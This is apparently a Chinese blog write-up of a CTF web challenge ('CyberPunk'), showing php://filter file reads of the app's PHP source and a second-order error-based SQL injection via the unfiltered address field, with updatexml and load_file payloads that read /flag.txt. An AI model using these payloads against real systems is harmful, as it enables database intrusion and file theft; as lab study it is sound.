• [CISCN2019 华北赛区 Day1 Web5]CyberPunk 二次报错注入


    buu上 做点

    首先就是打开环境 开始信息收集

    发现源代码中存在?file

    提示我们多半是包含

    我原本去试了试 ../../etc/passwd

    失败了 直接伪协议上吧

    1. php://filter/read=convert.base64-encode/resource=index.php
    2. confirm.php
    3. search.php
    4. change.php
    5. delete.php

    我们通过伪协议全部读取

    我们提取关键信息

    index.php

    1. ini_set('open_basedir', '/var/www/html/');
    2. // $file = $_GET["file"];
    3. $file = (isset($_GET['file']) ? $_GET['file'] : null);
    4. if (isset($file)){
    5. if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
    6. echo('no way!');
    7. exit;
    8. }
    9. @include($file);
    10. }
    11. ?>

    confirm.php

    1. require_once "config.php";
    2. //var_dump($_POST);
    3. if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
    4. {
    5. $msg = '';
    6. $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    7. $user_name = $_POST["user_name"];
    8. $address = $_POST["address"];
    9. $phone = $_POST["phone"];
    10. if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
    11. $msg = 'no sql inject!';
    12. }else{
    13. $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
    14. $fetch = $db->query($sql);
    15. }
    16. if($fetch->num_rows>0) {
    17. $msg = $user_name."已提交订单";
    18. }else{
    19. $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
    20. $re = $db->prepare($sql);
    21. $re->bind_param("sss", $user_name, $address, $phone);
    22. $re = $re->execute();
    23. if(!$re) {
    24. echo 'error';
    25. print_r($db->error);
    26. exit;
    27. }
    28. $msg = "订单提交成功";
    29. }
    30. } else {
    31. $msg = "信息不全";
    32. }
    33. ?>

    change.php

    1. require_once "config.php";
    2. if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
    3. {
    4. $msg = '';
    5. $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    6. $user_name = $_POST["user_name"];
    7. $address = addslashes($_POST["address"]);
    8. $phone = $_POST["phone"];
    9. if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
    10. $msg = 'no sql inject!';
    11. }else{
    12. $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
    13. $fetch = $db->query($sql);
    14. }
    15. if (isset($fetch) && $fetch->num_rows>0){
    16. $row = $fetch->fetch_assoc();
    17. $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
    18. $result = $db->query($sql);
    19. if(!$result) {
    20. echo 'error';
    21. print_r($db->error);
    22. exit;
    23. }
    24. $msg = "订单修改成功";
    25. } else {
    26. $msg = "未找到订单!";
    27. }
    28. }else {
    29. $msg = "信息不全";
    30. }
    31. ?>

    delete.php

    1. require_once "config.php";
    2. if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
    3. {
    4. $msg = '';
    5. $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    6. $user_name = $_POST["user_name"];
    7. $phone = $_POST["phone"];
    8. if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
    9. $msg = 'no sql inject!';
    10. }else{
    11. $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
    12. $fetch = $db->query($sql);
    13. }
    14. if (isset($fetch) && $fetch->num_rows>0){
    15. $row = $fetch->fetch_assoc();
    16. $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
    17. if(!$result) {
    18. echo 'error';
    19. print_r($db->error);
    20. exit;
    21. }
    22. $msg = "订单删除成功";
    23. } else {
    24. $msg = "未找到订单!";
    25. }
    26. }else {
    27. $msg = "信息不全";
    28. }
    29. ?>

     search.php

    1. require_once "config.php";
    2. if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
    3. {
    4. $msg = '';
    5. $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    6. $user_name = $_POST["user_name"];
    7. $phone = $_POST["phone"];
    8. if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
    9. $msg = 'no sql inject!';
    10. }else{
    11. $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
    12. $fetch = $db->query($sql);
    13. }
    14. if (isset($fetch) && $fetch->num_rows>0){
    15. $row = $fetch->fetch_assoc();
    16. if(!$row) {
    17. echo 'error';
    18. print_r($db->error);
    19. exit;
    20. }
    21. $msg = "

      姓名:".$row['user_name']."

      , 电话:".$row['phone']."

      , 地址:".$row['address']."

      "
      ;
    22. } else {
    23. $msg = "未找到订单!";
    24. }
    25. }else {
    26. $msg = "信息不全";
    27. }
    28. ?>

    首先进行判断

    每个文件中都存在 过滤即

    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';

    同时都是对

     if (preg_match($pattern,$user_name) || preg_match($pattern,$phone))

    进行处理 但是我们能发现一个地方是没有进行处理的

    在change.php的

        $address = addslashes($_POST["address"]);

    是不存在正则处理的 这里就给我们实现了注入的地方

    这里的注入流程是这样的

    1. 我们使用报错注入
    2. updatexml
    3. 我们首先通过输入 updatexml存入数据库
    4. 例如
    5. ' and updatexml(1,,0x7e,2)#
    6. 就会作为 adress 原封不动的存入数据库
    7. 这个时候我们再一次通过修改地址来修改
    8. 因为
    9. 其中的语句
    10. $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
    11. 会将原本的地址作为 old_address 输入
    12. 所以语句会修改为
    13. $sql = "update `user` set `address`='".$address."', `old_address`='"' and updatexml(1,,0x7e,2)#"' where `user_id`=".$row['user_id'];
    14. 重点是在
    15. `old_address`='"' and updatexml(1,,0x7e,2)#"'
    16. 这里
    17. 因为执行语句后 通过 updatexml() 会执行报错
    18. if (isset($fetch) && $fetch->num_rows>0){
    19. $row = $fetch->fetch_assoc();
    20. if(!$row) {
    21. echo 'error';
    22. print_r($db->error);
    23. exit;
    24. }
    25. 这样我们就实现了注入

     写入报错语句

    对语句进行更新 这样旧地址会输入到句子中

    实现了报错

    但是这道题不在数据库中。。。。。

    也不知道师傅们怎么做出来的

    使用 load_file()函数

    ' and updatexml(1,concat(0x7e,(select load_file('/flag.txt'))),3)#

     实现了报错

    但是长度不够

    我们通过substr即可

    ' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),3)#

    这道题 确实不是特别难 但是其实还是不是很简单。。。。

  • 相关阅读:
    【富文本编辑器】Ueditor的demo——创建、修改——代码使用
    Webrtc支持FFMPEG硬解码之Intel(一)
    大数据分析:使用Spark和Hadoop的实用指南
    jQuery使用的简单总结
    代碼隨想錄算法訓練營|第四十一天|第九章 动态规划 理论基础 、509. 斐波那契数、70. 爬楼梯、746. 使用最小花费爬楼梯。刷题心得(c++)
    【手写数据库toadb】代码又更新了,增加了解析树,查询树,执行计划,向更多复杂SQL迈进了一步
    一.使用qt creator 设计显示GUI
    canvas 系列学习笔记四《绘制文本》
    oracle OCP OCM MySQL OCP认证难吗?
    Java基础——String类详解,实用解释
  • 原文地址:https://blog.csdn.net/m0_64180167/article/details/133670041